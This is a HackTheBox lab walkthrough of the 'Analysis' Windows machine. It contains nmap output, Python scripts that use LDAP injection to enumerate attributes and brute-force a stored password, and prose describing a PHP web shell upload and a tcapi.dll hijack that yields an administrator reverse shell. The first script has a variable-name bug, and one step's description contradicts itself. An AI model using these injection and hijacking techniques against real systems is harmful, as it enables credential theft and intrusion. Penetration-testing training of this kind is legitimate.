In the analysis of the HTB Windows box, the journey began with thorough subdomain enumeration, leading to the discovery of a potential LDAP injection vulnerability. Exploiting this vulnerability allowed us to gain a reverse shell as a low-level user on the machine using a PHP shell. Further exploration revealed credentials stored in Autologin, granting access as another user.
Continuing the escalation path, we leveraged DDL hijacking techniques, eventually achieving access as an Administrator. This multi-stage process highlights the importance of comprehensive enumeration and persistence in penetration testing scenarios.
NMAP
┌──(liquidrage㉿kali)-[~/HTB]
└─$ nmap -p- -sC -sV -A -T4 10.10.11.250
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-17 00:19 EDT
Warning: 10.10.11.250 giving up on port because retransmission cap hit (6).
Nmap scan report for analysis.htb (10.10.11.250)
Host is up (0.19s latency).
Not shown: 65404 closed tcp ports (conn-refused), 102 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-methods:
|_ Potentially risky methods: TRACE
| http-server-header:
| Microsoft-HTTPAPI/2.0
|_ Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-04-17 04:37:21Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: analysis.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: analysis.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3306/tcp open mysql MySQL (unauthorized)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
33060/tcp open mysqlx?
| fingerprint-strings:
| DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe:
| Invalid message"
| HY000
| LDAPBindReq:
| *Parse error unserializing protobuf message"
| HY000
| oracle-tns:
| Invalid message-frame."
|_ HY000
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49675/tcp open msrpc Microsoft Windows RPC
49676/tcp open msrpc Microsoft Windows RPC
49677/tcp open msrpc Microsoft Windows RPC
49682/tcp open msrpc Microsoft Windows RPC
49733/tcp open msrpc Microsoft Windows RPC
65218/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.94SVN%I=7%D=4/17%Time=661F5204%P=x86_64-pc-linux-gnu%
SF:r(GenericLines,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GetRequest,9,"\x05\0
SF:\0\0\x0b\x08\x05\x1a\0")%r(HTTPOptions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0"
SF:)%r(RTSPRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSVersionBindReqTC
SF:P,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTCP,2B,"\x05\0\0\
SF:0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20me
SF:ssage\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SSLSessio
SF:nReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1
SF:a\x0fInvalid\x20message\"\x05HY000")%r(TerminalServerCookie,9,"\x05\0\0
SF:\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0
SF:\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%
SF:r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\
SF:x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20mess
SF:age\"\x05HY000")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%
SF:r(LPDString,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\
SF:0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x
SF:20message\"\x05HY000")%r(LDAPBindReq,46,"\x05\0\0\0\x0b\x08\x05\x1a\x00
SF:9\0\0\0\x01\x08\x01\x10\x88'\x1a\*Parse\x20error\x20unserializing\x20pr
SF:otobuf\x20message\"\x05HY000")%r(SIPOptions,9,"\x05\0\0\0\x0b\x08\x05\x
SF:1a\0")%r(LANDesk-RC,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NCP,9,"\x05\0\0
SF:\0\x0b\x08\x05\x1a\0")%r(NotesRPC,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\
SF:0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(Jav
SF:aRMI,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(WMSRequest,9,"\x05\0\0\0\x0b\x
SF:08\x05\x1a\0")%r(oracle-tns,32,"\x05\0\0\0\x0b\x08\x05\x1a\0%\0\0\0\x01
SF:\x08\x01\x10\x88'\x1a\x16Invalid\x20message-frame\.\"\x05HY000")%r(ms-s
SF:ql-s,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(giop,9,"\x05\0\0\0\x0b\x08\x05
SF:\x1a\0");
Service Info: Host: DC-ANALYSIS; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-04-17T04:38:16
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1175.77 seconds
PORT 80: analysis.htb
Subdomain fuzzing
PORT 80: internal.analysis.htb
Fuzzing the internal portal involves systematically sending crafted requests to uncover hidden endpoints and potential vulnerabilities
Discovered a potential endpoint at “/users/list.php” with a missing parameter error
Arjun successfully identified the “name” parameter for the “/users/list.php” endpoint.
The webpage at “http://internal.analysis.htb/users/list.php?name=” appears to be requesting input for the “name” parameter.
After attempting SQL injection, SSTI, and XSS without success, I later discovered LDAP injection as a viable attack vector for the “name” parameter on the webpage
resources used:
https://www.ldapexplorer.com/en/manual/107060000-ldap-object-classes.htm
https://www.ibm.com/docs/en/cip?topic=api-user-identity-attributes
when we enter “*” it gives the name “technician” as its output.
Entering “a*” returns “amanson” as a result.
It seems that the input is controlling the username. Now, let’s attempt to manipulate other parameters to assess their behavior.
Bypassing the payload “)(cn=”, I manipulated the input to control the First Name field. Breaking the main class username with “” allowed me to display everything, while specifying “(cn=)” in the payload resulted in “technician” being returned for the common name (cn) field.
By maintaining the “*” wildcard and specifying a condition that the common name (cn) should start with “a”, the output returned the user “angel”.
To enumerate all attributes of the user class, we’ll leverage LDAP injection, focusing on the object class “user” as it typically contains user-related attributes. This approach aligns with our goal of fetching user information using LDAP injection.
Object classes in LDAP define the set of attributes that an entry can have. Common object classes like “top,” “person,” “organizationPerson,” and “user” define attributes relevant to user entries. Additionally, custom object classes can be created, each with its own set of attributes, to tailor the LDAP schema to specific organizational needs.
do basic payload will look like this: *)(&(objectclass=user)({attribut}=*)
Here we typically don’t close the last bracket since we’re closing the LDAP query at the beginning with “*)”. This approach is similar to SQL injection, where we manipulate the query structure to inject our payload.
import requests
import urllib.parse
import time
def main():
with open("attributes.txt") as f:
attributes = f.read().splitlines()
for attribute in attributes:
payload = urllib.parse.quote(f"*)(&(objectclass=user)({attribut}=*)")
print("payload: ",payload)
proxy = {"http": "http://127.0.0.1:8080"}
r = requests.get(f"http://internal.analysis.htb/users/list.php?name={payload}", proxies=proxy)
time.sleep(1)
if "technician" in r.text:
print("response: ", r)
if __name__== "__main__":
main()
The Python code provided will systematically brute force through a list of attributes and check if they exist in our payload. Each attribute is checked, and if the response code is 200, it indicates that the specific attribute exists.
In this scenario, using the “description” parameter to print its data allows us to conduct blind testing. When attempting single characters like “*”, “a”, or “b*”, the response varies. For instance, “*” will return a 200 OK with “technician,” while “a” and “b*” could trigger errors. This discrepancy occurs because the description parameter attempts to brute force and retrieve exact data based on what is written within it.
here t* gave technician
The reason “a*” returned nothing despite the presence of a user starting with “a” is likely because that particular user does not have a description in place. As a result, the query did not return any results for “a*”.
import requests
import urllib.parse
import time
import string
chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
def main():
foundchar = ""
while True:
for char in chars:
payload = urllib.parse.quote(f"*)(&(objectclass=user)(description=")
proxy = {"http": "http://127.0.0.1:8080"}
r = requests.get(f"http://internal.analysis.htb/users/list.php?name={payload}{foundchar}{char}%2A)", proxies=proxy)
if "technician" in r.text:
foundchar = foundchar + char
print(foundchar)
break;
if __name__== "__main__":
main()
The provided script automates the task of finding the description of the technician user by systematically testing different characters and combinations to retrieve the desired information from the description parameter.
here script stopped because 4 special chars were not able to pass through “*, ), (, &”
This could be due to various factors such as incorrect parameters, unexpected server behavior, or misconfigured queries
Each character was appended to “97NTtl” one at a time, and then all characters were tested again after that specific character. For example:
- Initially, we tested “97NTtl”… (e.g., “97NTtl)”, “97NTtl(“) to observe any changes or responses.
- After trying various characters, we found that adding “4” in front of “97NTtl” (resulting in “97NTtl*4”) yielded a valid response, while other characters did not.
After identifying “4” as a valid character, we incorporated “97NTtl*” into the script and resumed fuzzing to discover the password successfully
import requests
import urllib.parse
import time
import string
chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
def main():
foundchar = "97NTtl*"
while True:
for char in chars:
payload = urllib.parse.quote(f"*)(&(objectclass=user)(description=")
proxy = {"http": "http://127.0.0.1:8080"}
r = requests.get(f"http://internal.analysis.htb/users/list.php?name={payload}{foundchar}{char}%2A)", proxies=proxy)
if "technician" in r.text:
foundchar = foundchar + char
print(foundchar)
break;
if __name__== "__main__":
main()
Shell as SVC_WEB
Upon uploading the Powny shell, we inspected its path using Burp Suite to verify its location within the system.
The shell has been successfully uploaded, and its path is confirmed to be “uploads/shell.php”.
With command execution achieved on the same server, we now have the ability to execute commands and further explore the system for potential vulnerabilities or information
Saving the discovered usernames and passwords in a file for later usage.
After running WinPEAS to scan for sensitive or vulnerable data, Autologon credentials were uncovered, providing potential access to further escalate privileges or gain additional insights into the system’s security posture.
Utilizing NetExec, all gathered credentials were systematically checked to verify their validity and potential for further exploitation.
Shell as JDOE
Upon running WinPEAS again with the privileges of user “jdoe,” a DLL hijacking vulnerability was identified, presenting an opportunity for further exploitation or privilege escalation.
A standard Google search for the binary revealed an exploit dating back to 2016, detailing how placing a malicious DLL file named “tcapi.dll” in specific directories can lead to a reverse shell exploit.
The “tcapi.dll” file was successfully uploaded to the main folder and the library folder containing DLLs for Snort, as per the exploit’s instructions.
Upon manually executing “.\snort.exe,” a reverse shell was obtained, granting administrative privileges. This successful execution further validates the DLL hijacking exploit and underscores the importance of securing system binaries and libraries.
HOPE YOU LIKE THIS WALKTHROUGH